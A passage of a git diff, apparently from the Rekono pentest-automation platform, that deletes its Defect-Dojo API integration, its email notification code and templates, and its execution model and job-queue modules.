str(Severity.CRITICAL): 'S5', -} - -logger = logging.getLogger() # Rekono logger - - -class DefectDojo: - '''Defect-Dojo API handler to allow Rekono integration.''' - - def __init__(self): - '''Defect-Dojo API constructor.''' - self.system = None - self.http_session = None - - def get_system(self) -> System: - '''Get system settings instance. - - Returns: - System: System settings - ''' - if not self.system: - self.system = System.objects.first() - return self.system - - def get_http_session(self) -> requests.Session: - '''Get HTTP session configured to retry requests after unexpected errors. - - Returns: - requests.Session: HTTP session properly configured - ''' - if not self.http_session: - schema = urlparse(self.get_system().defect_dojo_url).scheme # Get API schema - # Configure retry protocol to prevent unexpected errors - retries = Retry(total=5, backoff_factor=0.1, status_forcelist=[500, 502, 503, 504, 599]) - self.http_session = requests.Session() - self.http_session.mount(f'{schema}://', HTTPAdapter(max_retries=retries)) - return self.http_session - - def request( - self, - method: str, - endpoint: str, - params: dict = None, - data: dict = None, - files: dict = None, - expected_status: int = 200 - ) -> Tuple[bool, Any]: - '''Perform a Defect-Dojo API request. - - Args: - method (str): HTTP method to use - endpoint (str): Endpoint to call - params (dict, optional): Query params to include in the request. Defaults to None. - data (dict, optional): Body data to include in the request. Defaults to None. - files (dict, optional): Files to include in the request. Defaults to None. - expected_status (int, optional): Expected HTTP response status. Defaults to 200. - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - system = self.get_system() - headers = { - 'User-Agent': 'Rekono', # Rekono User-Agent - 'Authorization': f'Token {system.defect_dojo_api_key}' # Authentication via API key - } - try: - response = self.get_http_session().request( # Defect-Dojo API request - method=method, - url=f'{system.defect_dojo_url}/api/v2{endpoint}', - headers=headers, - params=params, - data=data, - files=files, - verify=system.defect_dojo_verify_tls - ) - except requests.exceptions.ConnectionError: - response = self.get_http_session().request( # Defect-Dojo API request - method=method, - url=f'{system.defect_dojo_url}/api/v2{endpoint}', - headers=headers, - params=params, - data=data, - files=files, - verify=system.defect_dojo_verify_tls - ) - logger.info(f'[Defect-Dojo] {method.upper()} /api/v2{endpoint} > HTTP {response.status_code}') - if response.status_code == expected_status: - return True, response.json() # Successful request - else: - return False, response # Failed request - - def is_available(self) -> bool: - '''Check if Defect-Dojo integration is available. - - Returns: - bool: Indicate if Defect-Dojo integration is available or not - ''' - if not self.get_system().defect_dojo_url: - return False - try: - success, _ = self.request('get', '/test_types/', params={'limit': 1}) - except requests.exceptions.ConnectionError: - success = False - if not success: - logger.error('[Defect-Dojo] Integration with Defect-Dojo is not available') - return success - - def get_rekono_product_type(self) -> Tuple[bool, dict]: - '''Get product type associated to Rekono, based on configurated name. - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - return self.request('GET', '/product_types/', params={'name': self.get_system().defect_dojo_product_type}) - - def create_rekono_product_type(self) -> Tuple[bool, dict]: - '''Create new product type associated to Rekono, based on configurated name. - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - system = self.get_system() - data = {'name': system.defect_dojo_product_type, 'description': system.defect_dojo_product_type} - return self.request('POST', '/product_types/', data=data, expected_status=201) - - def get_product(self, id: int) -> Tuple[bool, dict]: - '''Get product by Id. - - Args: - id (int): Product Id to get - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - return self.request('GET', f'/products/{id}/') - - def create_product(self, product_type: int, project: Project) -> Tuple[bool, dict]: - '''Create new Defect-Dojo product from Rekono project. - - Args: - product_type (int): Product type associated to the product - project (Project): Rekono project to create in Defect-Dojo as product - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - data = { - 'tags': [self.get_system().defect_dojo_tag], # Includes the configurated tag - 'name': project.name, - 'description': project.description, - 'prod_type': product_type - } - return self.request('POST', '/products/', data=data, expected_status=201) - - def get_engagement(self, id: int) -> Tuple[bool, dict]: - '''Get engagement by Id. - - Args: - id (int): Engagement Id to get - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - return self.request('GET', f'/engagements/{id}/') - - def create_engagement(self, product: int, name: str, description: str) -> Tuple[bool, dict]: - '''Create new engagement. - - Args: - product (int): Product Id where the engagement will be created - name (str): Engagement name - description (str): Engagement description - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - start = datetime.now() - end = start + timedelta(days=7) # End date after 7 days - data = { - 'name': name, - 'description': description, - 'tags': [self.get_system().defect_dojo_tag], # Includes the configurated tag - 'product': product, - 'status': 'In Progress', - 'engagement_type': 'Interactive', # The other option is 'CI/CD' - 'target_start': start.strftime(DD_DATE_FORMAT), - 'target_end': end.strftime(DD_DATE_FORMAT), - } - return self.request('POST', '/engagements/', data=data, expected_status=201) - - def get_rekono_test_type(self) -> Tuple[bool, dict]: - '''Get test type associated to Rekono, based on configurated name. - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - return self.request('GET', '/test_types/', params={'name': self.get_system().defect_dojo_test_type}) - - def create_rekono_test_type(self) -> Tuple[bool, dict]: - '''Create new test type associated to Rekono, based on configurated name. - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - system = self.get_system() - data = { - 'name': system.defect_dojo_test_type, - 'tags': [system.defect_dojo_tag], # Includes the configurated tag - 'dynamic_tool': True # Cause most Rekono tools are dynamic - } - return self.request('POST', '/test_types/', data=data, expected_status=201) - - def create_rekono_test(self, test_type: int, engagement: int) -> Tuple[bool, dict]: - '''Create new Rekono test. - - Args: - test_type (int): Test type Id associated to the test - engagement (int): Engagement Id where the test will be created - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - system = self.get_system() - data = { - 'engagement': engagement, - 'test_type': test_type, - 'title': system.defect_dojo_test, - 'description': system.defect_dojo_test, - 'target_start': datetime.now().strftime(DD_DATETIME_FORMAT), - 'target_end': datetime.now().strftime(DD_DATETIME_FORMAT) # Because the test is completed - } - return self.request('POST', '/tests/', data=data, expected_status=201) - - def create_endpoint(self, product: int, endpoint: Any) -> Tuple[bool, dict]: - '''Create new Defect-Dojo endpoint from Rekono endpoint. - - Args: - product (int): Product Id where the endpoint will be created - endpoint (Path): Rekono endpoint to create in Defect-Dojo - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - data = endpoint.defect_dojo() - data.update({'product': product}) - return self.request('POST', '/endpoints/', data=data, expected_status=201) - - def create_finding(self, test: int, finding: Any) -> Tuple[bool, dict]: - '''Create new Defect-Dojo finding from Rekono finding. - - Args: - test (int): Test Id where the finding will be created - finding (Finding): Rekono finding to create in Defect-Dojo - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - data = finding.defect_dojo() - data.update({ - 'test': test, - 'numerical_severity': SEVERITY_MAPPING[data.get('severity')], # Mapping between severity values - 'active': True # Always created as active - }) - return self.request('POST', '/findings/', data=data, expected_status=201) - - def import_scan(self, engagement: int, execution: Any) -> Tuple[bool, dict]: - '''Import Rekono execution output in Defect-Dojo. - - Args: - engagement (int): Engagement Id where the scan will be imported - execution (Execution): Completed Rekono execution to import in Defect-Dojo - - Returns: - Tuple[bool, dict]: Indicates if request was successful or not (bool), and return the response body (dict) - ''' - data = { - # https://defectdojo.github.io/django-DefectDojo/integrations/parsers/ - 'scan_type': execution.tool.defectdojo_scan_type, - 'engagement': engagement, - 'tags': [self.get_system().defect_dojo_tag] # Includes the configurated tag - } - files = { - 'file': open(execution.output_file, 'r') # Execution output file - } - return self.request('POST', '/import-scan/', data=data, files=files, expected_status=201) diff --git a/src/backend/defectdojo/constants.py b/src/backend/defectdojo/constants.py deleted file mode 100644 index 64c88654e..000000000 --- a/src/backend/defectdojo/constants.py +++ /dev/null @@ -1,4 +0,0 @@ -'''Defect-Dojo constants.''' - -DD_DATE_FORMAT = '%Y-%m-%d' -DD_DATETIME_FORMAT = '%Y-%m-%dT%H:%M' diff --git a/src/backend/defectdojo/exceptions.py b/src/backend/defectdojo/exceptions.py deleted file mode 100644 index 8a07389f1..000000000 --- a/src/backend/defectdojo/exceptions.py +++ /dev/null @@ -1,4 +0,0 @@ -class DefectDojoException(Exception): - '''Defect-Dojo generic exception.''' - - pass diff --git a/src/backend/defectdojo/reporter.py b/src/backend/defectdojo/reporter.py deleted file mode 100644 index c10282985..000000000 --- a/src/backend/defectdojo/reporter.py +++ /dev/null @@ -1,98 +0,0 @@ -import logging -from typing import List, Tuple - -from defectdojo.api import DefectDojo -from defectdojo.exceptions import DefectDojoException -from executions.models import Execution -from findings.models import Finding, Path -from projects.models import Project -from targets.models import Target - -dd_client = DefectDojo() # Defect-Dojo client - -logger = logging.getLogger() # Rekono logger - - -def get_product_and_engagement_id(project: Project, target: Target) -> Tuple[int, int]: - '''Get product Id and engagement Id to use to Defect-Dojo import. - - Args: - project (Project): Rekono project - target (Target): Rekono target - - Returns: - Tuple[int, int]: Defect-Dojo product Id and engagement Id - ''' - product_id = project.defectdojo_product_id - to_check = [(dd_client.get_product, product_id, 'product')] - engagement_id = project.defectdojo_engagement_id - if project.defectdojo_engagement_by_target: - engagement_id = target.get_defectdojo_engagement(dd_client) - else: - to_check.append((dd_client.get_engagement, engagement_id, 'engagement')) - for checker, id, name in to_check: - check, _ = checker(id) - if not check: - raise DefectDojoException({name.lower(): [f'{name.capitalize()} {id} is not found in Defect-Dojo']}) - return product_id, engagement_id - - -def get_rekono_test(engagement_id: int) -> int: - '''Create a new test associated to Rekono in a specific Defect-Dojo engagement. - - Args: - engagement_id (int): Engagement Id where the test will be created - - Raises: - DefectDojoException: Raised if the test can't be created - - Returns: - int: Defect-Dojo test Id - ''' - test_type = None - result, body = dd_client.get_rekono_test_type() # Get Rekono test type - if result and body and len(body.get('results', [])) > 0: - test_type = body['results'][0].get('id') - else: # Rekono test type not found - result, body = dd_client.create_rekono_test_type() # Create Rekono test type - if result: - logger.info(f'[Defect-Dojo] Rekono test type {body["id"]} has been created') - test_type = body.get('id') - if test_type: # If test type found or created - result, body = dd_client.create_rekono_test(test_type, engagement_id) # Create Rekono test - if result: - logger.info(f'[Defect-Dojo] Rekono test {body["id"]} has been created') - return body['id'] - logger.warning("[Defect-Dojo] Rekono test can't be created") - raise DefectDojoException({'test': ['Unexpected error in Rekono test creation']}) # Rekono test can't be created - - -def report(execution: Execution, findings: List[Finding]) -> None: - '''Report to Defect-Dojo the results of one Rekono execution. - - Args: - execution (Execution): Execution to be reported - findings (List[Finding]): Findings detected during the execution - - Raises: - DefectDojoException: Raised if Defect-Dojo is not available - ''' - if not dd_client.is_available(): - raise DefectDojoException({'defect-dojo': ['Integration with Defect-Dojo is not available']}) - product_id, engagement_id = get_product_and_engagement_id(execution.task.target.project, execution.task.target) - if execution.tool.defectdojo_scan_type: - dd_client.import_scan(engagement_id, execution) # Import the execution output - logger.info(f'[Defect-Dojo] Execution {execution.id} has been imported in engagement {engagement_id}') - else: - test_id = None - for finding in findings: - if isinstance(finding, Path): # Path finding - dd_client.create_endpoint(product_id, finding) # Import finding as Defect-Dojo endpoint - else: - test_id = test_id if test_id else get_rekono_test(engagement_id) - dd_client.create_finding(test_id, finding) # Import finding as Defect-Dojo finding - logger.info( - f'[Defect-Dojo] {finding.__class__.__name__} {finding.id} has been imported in product {product_id}' - ) - execution.imported_in_defectdojo = True # Update the execution as reported - execution.save(update_fields=['imported_in_defectdojo']) diff --git a/src/backend/email_notifications/__init__.py b/src/backend/email_notifications/__init__.py deleted file mode 100644 index bc9cedc49..000000000 --- a/src/backend/email_notifications/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Email sender.''' diff --git a/src/backend/email_notifications/constants.py b/src/backend/email_notifications/constants.py deleted file mode 100644 index 96220204a..000000000 --- a/src/backend/email_notifications/constants.py +++ /dev/null @@ -1,3 +0,0 @@ -'''Email messages constants.''' - -DATETIME_FORMAT = '%Y-%m-%d %H:%M' diff --git a/src/backend/email_notifications/sender.py b/src/backend/email_notifications/sender.py deleted file mode 100644 index ae19b8150..000000000 --- a/src/backend/email_notifications/sender.py +++ /dev/null @@ -1,145 +0,0 @@ -import logging -from typing import Any, Dict, List - -import django_rq -from django.core.mail import EmailMultiAlternatives -from django.template.loader import get_template -from django.utils import timezone -from django_rq import job -from email_notifications.constants import DATETIME_FORMAT -from findings.models import Finding - -from rekono.settings import EMAIL_HOST, EMAIL_PORT, FRONTEND_URL - -logger = logging.getLogger() # Rekono logger - - -@job('emails-queue') -def consumer(addresses: List[str], subject: str, template_name: str, data: Dict[str, Any]) -> None: - '''Send HTML email message. - - Args: - addresses (List[str]): Destinatary email addresses - subject (str): Email subject - template_name (str): HTML template to use - data (Dict[str, Any]): Data to include in the HTML template - ''' - if EMAIL_HOST and EMAIL_PORT: - template = get_template(template_name) # Get HTML template - data['rekono_url'] = FRONTEND_URL # Include frontend address for links - # nosemgrep: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2 - content = template.render(data) # Render HTML template using data - try: - message = EmailMultiAlternatives(subject, '', None, addresses) # Create email message - message.attach_alternative(content, 'text/html') # Add HTML content to email message - message.send() # Send email message - except Exception: - logger.error('[Email] Error during email message sending') - - -def user_invitation(user: Any) -> None: - '''Send email user invitation. - - Args: - user (Any): User to invite to Rekono - ''' - emails_queue = django_rq.get_queue('emails-queue') # Get emails queue - emails_queue.enqueue( # Enqueue email notification - consumer, - addresses=[user.email], - subject='Welcome to Rekono', - template_name='user_invitation.html', - data={'user': user} - ) - - -def user_password_reset(user: Any) -> None: - '''Send email for reset password. - - Args: - user (Any): User that requests the password reset - ''' - emails_queue = django_rq.get_queue('emails-queue') # Get emails queue - emails_queue.enqueue( # Enqueue email notification - consumer, - addresses=[user.email], - subject='Reset Rekono password', - template_name='user_password_reset.html', - data={'user': user} - ) - - -def user_enable_account(user: Any) -> None: - '''Send email for enable user account. - - Args: - user (Any): Recently enabled user - ''' - emails_queue = django_rq.get_queue('emails-queue') # Get emails queue - emails_queue.enqueue( # Enqueue email notification - consumer, - addresses=[user.email], - subject='Rekono user enabled', - template_name='user_enable_account.html', - data={'user': user} - ) - - -def user_login_notification(user: Any) -> None: - '''Send email notification after user login. - - Args: - user (Any): Recently enabled user - ''' - emails_queue = django_rq.get_queue('emails-queue') # Get emails queue - emails_queue.enqueue( # Enqueue email notification - consumer, - addresses=[user.email], - subject='New login on your Rekono account', - template_name='user_login_notification.html', - data={'time': timezone.now().strftime(DATETIME_FORMAT)} - ) - - -def user_telegram_linked_notification(user: Any) -> None: - '''Send email notification after link user account to Telegram bot. - - Args: - user (Any): Recently enabled user - ''' - emails_queue = django_rq.get_queue('emails-queue') # Get emails queue - emails_queue.enqueue( # Enqueue email notification - consumer, - addresses=[user.email], - subject='Welcome to Rekono Bot', - template_name='user_telegram_linked_notification.html', - data={'time': timezone.now().strftime(DATETIME_FORMAT)} - ) - - -def execution_notifications(emails: List[str], execution: Any, findings: List[Finding]) -> None: - '''Send email notifications with execution results. - - Args: - emails (List[str]): Email address list to notify - execution (Any): Completed execution - findings (List[Finding]): Findings obtained during execution - ''' - data = { # Data to include in notification - 'execution': execution, - 'tool': execution.tool, - 'configuration': execution.configuration - } - for finding in findings: # For each finding - if finding.__class__.__name__.lower() not in data: - data[finding.__class__.__name__.lower()] = [] - data[finding.__class__.__name__.lower()].append(finding) # Add finding to the data - # Send email notifications - emails_queue = django_rq.get_queue('emails-queue') # Get emails queue - emails_queue.enqueue( # Enqueue email notifications - consumer, - addresses=emails, - subject=f'[Rekono] {data["tool"].name} execution completed', - template_name='execution_notification.html', - data=data - ) diff --git a/src/backend/email_notifications/templates/execution_notification.html b/src/backend/email_notifications/templates/execution_notification.html deleted file mode 100644 index 6d887d411..000000000 --- a/src/backend/email_notifications/templates/execution_notification.html +++ /dev/null @@ -1,301 +0,0 @@ - - - - - - - Rekono - - -
-
- Rekono -
-
-

{{ execution.task.target.project.name }}

-
-
-
-
-
-

Target

-

{{ execution.task.target.target }}

-
-
-

Tool

-
- {% if tool.icon %} - {{ tool.name }} - {% endif %} - {{ tool.name }} -
-
-
-

Configuration

-

{{ configuration.name }}

-
-
-
-
-

Status

-

{{ execution.status }}

-
-
-

Start

-

{{ execution.start }}

-
-
-

End

-

{{ execution.end }}

-
-
-

Executor

-

{{ execution.task.executor.username }}

-
-
-
-
-
- - Review all details -
-
-
-
-
- {% if osint %} - - - - - - - - - - - {% for o in osint %} - - - - - - {% endfor %} - -
OSINT
DataData typeSource
{{ o.data }}{{ o.data_type }}{{ o.source }}
- {% endif %} -
- {% if host %} - - - - - - - - - - - {% for h in host %} - - - - - - {% endfor %} - -
Hosts
AddressOSOS type
{{ h.address }}{{ h.os }}{{ h.os_type }}
- {% endif %} -
- {% if port %} - - - - - - - - - - - - - {% for e in port %} - - {% if e.host %} - - {% else %} - - {% endif %} - - - - - - {% endfor %} - -
Ports
HostPortStatusProtocolService
{{ e.host.address }}{{ e.port }}{{ e.status }}{{ e.protocol }}{{ e.service }}
- {% endif %} -
- {% if path %} - - - - - - - - - - - - - {% for e in path %} - - {% if e.port and e.port.host %} - - {% elif e.port %} - - {% else %} - - {% endif %} - - - - - - {% endfor %} - -
Paths
PortTypePathStatusExtra
{{ e.port.host.address }} - {{ e.port.port }}{{ e.port.port }}{{ e.type }}{{ e.path }}{{ e.status }}{{ e.extra }}
- {% endif %} -
- {% if technology %} - - - - - - - - - - - {% for t in technology %} - - {% if t.port and t.port.host %} - - {% elif t.port %} - - {% else %} - - {% endif %} - - - - {% endfor %} - -
Technologies
PortNameVersion
{{ t.port.host.address }} - {{ t.port.port }}{{ t.port.port }}{{ t.name }}{{ t.version }}
- {% endif %} -
- {% if credential %} - - - - - - - - - - - - {% for c in credential %} - - - - - - - {% endfor %} - -
Credentials
EmailUsernameSecretContext
{{ c.email }}{{ c.username }}{{ c.secret }}{{ c.secret }}
- {% endif %} -
- {% if vulnerability %} - - - - - - - - - - - - - - {% for v in vulnerability %} - - {% if v.technology %} - - {% else %} - - {% endif %} - {% if v.port and v.port.host %} - - {% elif v.port %} - - {% else %} - - {% endif %} - - - - {% if v.reference %} - - - {% else %} - - {% endif %} - - {% endfor %} - -
Vulnerabilities
TecnhologyPortNameSeverityCVEReference
{{ v.technology.name }}{{ v.port.host.address }} - {{ v.port.port }}{{ v.port.port }}{{ v.name }}{{ v.severity }}{{ v.cve }}Link
- {% endif %} -
- {% if exploit %} - - - - - - - - - - - - {% for e in exploit %} - - {% if e.vulnerability %} - - {% else %} - - {% endif %} - {% if e.technology %} - - {% else %} - - {% endif %} - - - - - {% endfor %} - -
Exploits
VulnerabilityTechnologyTitleExploit DB
{{ e.vulnerability.name }}{{ e.technology.name }}{{ e.title }}{{ e.edb_id }}
- {% endif %} -
- - \ No newline at end of file diff --git a/src/backend/email_notifications/templates/user_enable_account.html b/src/backend/email_notifications/templates/user_enable_account.html deleted file mode 100644 index e1523d664..000000000 --- a/src/backend/email_notifications/templates/user_enable_account.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - Rekono - - -
-
- Rekono -
-
- {% if user.first_name %} -

Welcome {{ user.first_name }}!

- {% else %} -

Welcome {{ user.username }}!

- {% endif %} -

Your Rekono user has been enabled. Please, follow this link to establish your password.

- - Set password -
-
- - \ No newline at end of file diff --git a/src/backend/email_notifications/templates/user_invitation.html b/src/backend/email_notifications/templates/user_invitation.html deleted file mode 100644 index 9981e21f0..000000000 --- a/src/backend/email_notifications/templates/user_invitation.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - Rekono - - -
-
- Rekono -
-
-

Welcome to Rekono!

-

You have been invited to Rekono. Please, follow this link to create your account.

- - Signup -
-
- - \ No newline at end of file diff --git a/src/backend/email_notifications/templates/user_login_notification.html b/src/backend/email_notifications/templates/user_login_notification.html deleted file mode 100644 index cffc90d8c..000000000 --- a/src/backend/email_notifications/templates/user_login_notification.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - - Rekono - - -
-
- Rekono -
-
-

New login on your Rekono account

-
-

A new login on your Rekono account has been detected at {{ time }}.

- -

If you didn't login in Rekono, please reset your password.

-
-
-
- - \ No newline at end of file diff --git a/src/backend/email_notifications/templates/user_password_reset.html b/src/backend/email_notifications/templates/user_password_reset.html deleted file mode 100644 index 53a06d008..000000000 --- a/src/backend/email_notifications/templates/user_password_reset.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - Rekono - - -
-
- Rekono -
-
-

Reset your password

-

Please, follow this link to reset your password.

- - Reset password -
-
- - \ No newline at end of file diff --git a/src/backend/email_notifications/templates/user_telegram_linked_notification.html b/src/backend/email_notifications/templates/user_telegram_linked_notification.html deleted file mode 100644 index ff770e6fd..000000000 --- a/src/backend/email_notifications/templates/user_telegram_linked_notification.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - - Rekono - - -
-
- Rekono -
-
-

Welcome to the Rekono bot

-
-

Your Rekono account has been linked to the Rekono bot at {{ time }}.

- -

If you didn't link your Rekono account, please reset your password.

-
-
-
- - \ No newline at end of file diff --git a/src/backend/executions/__init__.py b/src/backend/executions/__init__.py deleted file mode 100644 index f3390c9e6..000000000 --- a/src/backend/executions/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Executions.''' diff --git a/src/backend/executions/admin.py b/src/backend/executions/admin.py deleted file mode 100644 index 065c91472..000000000 --- a/src/backend/executions/admin.py +++ /dev/null @@ -1,6 +0,0 @@ -from django.contrib import admin -from executions.models import Execution - -# Register your models here. - -admin.site.register(Execution) diff --git a/src/backend/executions/apps.py b/src/backend/executions/apps.py deleted file mode 100644 index 5ac0eff7b..000000000 --- a/src/backend/executions/apps.py +++ /dev/null @@ -1,7 +0,0 @@ -from django.apps import AppConfig - - -class ExecutionsConfig(AppConfig): - '''Executions Django application.''' - - name = 'executions' diff --git a/src/backend/executions/filters.py b/src/backend/executions/filters.py deleted file mode 100644 index 93ac26a30..000000000 --- a/src/backend/executions/filters.py +++ /dev/null @@ -1,47 +0,0 @@ -from django_filters.rest_framework import FilterSet -from django_filters.rest_framework.filters import OrderingFilter - -from executions.models import Execution - - -class ExecutionFilter(FilterSet): - '''FilterSet to filter and sort executions entities.''' - - o = OrderingFilter( # Ordering fields - fields=( - ('task__target', 'target'), - ('task__target__project', 'project'), - ('task__process', 'process'), - ('task__intensity', 'intensity'), - ('task__executor', 'executor'), - 'tool', - 'configuration', - 'status', - 'start', - 'end' - ), - ) - - class Meta: - '''FilterSet metadata.''' - - model = Execution - fields = { # Filter fields - 'task': ['exact'], - 'task__target': ['exact'], - 'task__target__target': ['exact', 'icontains'], - 'task__target__project': ['exact'], - 'task__target__project__name': ['exact', 'icontains'], - 'task__process': ['exact'], - 'task__intensity': ['exact'], - 'task__executor': ['exact'], - 'task__executor__username': ['exact', 'icontains'], - 'tool': ['exact'], - 'tool__name': ['exact', 'icontains'], - 'configuration': ['exact'], - 'configuration__name': ['exact', 'icontains'], - 'configuration__stage': ['exact'], - 'status': ['exact'], - 'start': ['gte', 'lte', 'exact'], - 'end': ['gte', 'lte', 'exact'] - } diff --git a/src/backend/executions/migrations/0001_initial.py b/src/backend/executions/migrations/0001_initial.py deleted file mode 100644 index d29401f3a..000000000 --- a/src/backend/executions/migrations/0001_initial.py +++ /dev/null @@ -1,35 +0,0 @@ -# Generated by Django 3.2.13 on 2022-04-24 15:14 - -from django.db import migrations, models -import django.db.models.deletion - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('tools', '0002_initial'), - ('tasks', '0002_initial'), - ] - - operations = [ - migrations.CreateModel( - name='Execution', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('rq_job_id', models.TextField(blank=True, max_length=50, null=True)), - ('extra_data_path', models.TextField(blank=True, max_length=50, null=True)), - ('output_file', models.TextField(blank=True, max_length=50, null=True)), - ('output_plain', models.TextField(blank=True, null=True)), - ('output_error', models.TextField(blank=True, null=True)), - ('status', models.TextField(choices=[('Requested', 'Requested'), ('Skipped', 'Skipped'), ('Running', 'Running'), ('Cancelled', 'Cancelled'), ('Error', 'Error'), ('Completed', 'Completed')], default='Requested', max_length=10)), - ('start', models.DateTimeField(blank=True, null=True)), - ('end', models.DateTimeField(blank=True, null=True)), - ('imported_in_defectdojo', models.BooleanField(default=False)), - ('configuration', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='tools.configuration')), - ('task', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='executions', to='tasks.task')), - ('tool', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tools.tool')), - ], - ), - ] diff --git a/src/backend/executions/models.py b/src/backend/executions/models.py deleted file mode 100644 index 3fc5bbbe4..000000000 --- a/src/backend/executions/models.py +++ /dev/null @@ -1,43 +0,0 @@ -from django.db import models -from projects.models import Project -from tasks.enums import Status -from tasks.models import Task -from tools.models import Configuration, Tool - -# Create your models here. - - -class Execution(models.Model): - '''Execution model.''' - - task = models.ForeignKey(Task, related_name='executions', on_delete=models.CASCADE) # Related Task - rq_job_id = models.TextField(max_length=50, blank=True, null=True) # Job Id in the executions queue - tool = models.ForeignKey(Tool, on_delete=models.CASCADE) # Tool - configuration = models.ForeignKey(Configuration, on_delete=models.CASCADE, blank=True, null=True) # Configuration - extra_data_path = models.TextField(max_length=50, blank=True, null=True) # Filepath with extra data - output_file = models.TextField(max_length=50, blank=True, null=True) # Tool output filepath - output_plain = models.TextField(blank=True, null=True) # Tool output in plain text - output_error = models.TextField(blank=True, null=True) # Tool errors - status = models.TextField(max_length=10, choices=Status.choices, default=Status.REQUESTED) # Execution status - start = models.DateTimeField(blank=True, null=True) # Start date - end = models.DateTimeField(blank=True, null=True) # End date - imported_in_defectdojo = models.BooleanField(default=False) # Indicate if it has been imported yet - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return ( - f'{self.task.target.project.name} - {self.task.target.target} - ' - f'{self.tool.name} - {self.configuration.name}' - ) - - def get_project(self) -> Project: - '''Get the related project for the instance. This will be used for authorization purposes. - - Returns: - Project: Related project entity - ''' - return self.task.target.project diff --git a/src/backend/executions/queue/__init__.py b/src/backend/executions/queue/__init__.py deleted file mode 100644 index f43f31bb7..000000000 --- a/src/backend/executions/queue/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Executions queue.''' diff --git a/src/backend/executions/queue/consumer.py b/src/backend/executions/queue/consumer.py deleted file mode 100644 index 98686d2a5..000000000 --- a/src/backend/executions/queue/consumer.py +++ /dev/null @@ -1,54 +0,0 @@ -from typing import List - -import rq -from django.utils import timezone -from django_rq import job -from executions.models import Execution -from executions.queue import utils as queue_utils -from input_types.base import BaseInput -from tasks.enums import Status -from tools import utils as tool_utils -from tools.models import Argument, Intensity -from tools.tools.base_tool import BaseTool - - -@job('executions-queue') -def consumer( - execution: Execution, - intensity: Intensity, - arguments: List[Argument], - targets: List[BaseInput], - previous_findings: List[BaseInput] -) -> BaseTool: - '''Consume jobs from executions queue and executes them. - - Args: - execution (Execution): Execution associated to the job - intensity (Intensity): Intensity to apply in the execution - arguments (List[Argument]): Arguments implied in the execution - targets (List[BaseInput]): Targets and resources to include in the execution - previous_findings (List[Finding]): Findings from previous executions to include in the execution - - Returns: - BaseTool: Tool instance that executed the tool and saved the results - ''' - tool_class = tool_utils.get_tool_class_by_name(execution.tool.name) # Get Tool class from Tool name - tool_runner = tool_class(execution, intensity, arguments) # Create Tool instance - current_job = rq.get_current_job() # Get current Job - if not previous_findings and current_job._dependency_ids: # No previous findings and dependencies - previous_findings = queue_utils.process_dependencies( # Get findings from dependencies - execution, - intensity, - arguments, - targets, - current_job, - tool_runner - ) - # If related task start date is null - # It could be established before, if this execution belongs to a process execution - if not execution.task.start: - execution.task.status = Status.RUNNING # Set task status to Running - execution.task.start = timezone.now() # Set task start date - execution.task.save(update_fields=['status', 'start']) - tool_runner.run(targets=targets, previous_findings=previous_findings) # Tool execution - return tool_runner diff --git a/src/backend/executions/queue/producer.py b/src/backend/executions/queue/producer.py deleted file mode 100644 index 058b4da81..000000000 --- a/src/backend/executions/queue/producer.py +++ /dev/null @@ -1,66 +0,0 @@ -import logging -from typing import Callable, List - -import django_rq -from executions.models import Execution -from executions.queue import consumer -from input_types.base import BaseInput -from rq.job import Job -from tools.models import Argument, Intensity - -logger = logging.getLogger() # Rekono logger - - -def producer( - execution: Execution, - intensity: Intensity, - arguments: List[Argument], - targets: List[BaseInput] = [], - previous_findings: List[BaseInput] = [], - callback: Callable = None, - dependencies: List[Job] = [], - at_front: bool = False -) -> Job: - '''Enqueue a new execution in the executions queue. - - Args: - execution (Execution): Execution to enqueue - intensity (Intensity): Intensity to apply in the execution - arguments (List[Argument]): Arguments implied in the execution - targets (List[BaseInput], optional): Targets and resources to include. Defaults to []. - previous_findings (List[BaseInput], optional): Findings from previous executions to include. Defaults to []. - callback (Callable, optional): Function to call after success execution. Defaults to None. - dependencies (List[Any], optional): Job list whose output is required to perform this execution. Defaults to []. - at_front (bool, optional): Indicate that the execution should be enqueued at first start. Defaults to False. - - Returns: - Any: Enqueued job in the executions queue - ''' - executions_queue = django_rq.get_queue('executions-queue') # Get executions queue - execution_job = executions_queue.enqueue( # Enqueue the Execution job - consumer.consumer, - execution=execution, - intensity=intensity, - arguments=arguments, - targets=targets, - previous_findings=previous_findings, - on_success=callback, - # Required to get results from dependent jobs - result_ttl=7200, - depends_on=dependencies, - at_front=at_front - ) - logger.info( - f'[Execution] Execution {execution.id} ({execution.tool.name} - ' - f'{execution.configuration.name}) has been enqueued' - ) - # Save important data in job metadata if it is needed later - execution_job.meta['execution'] = execution - 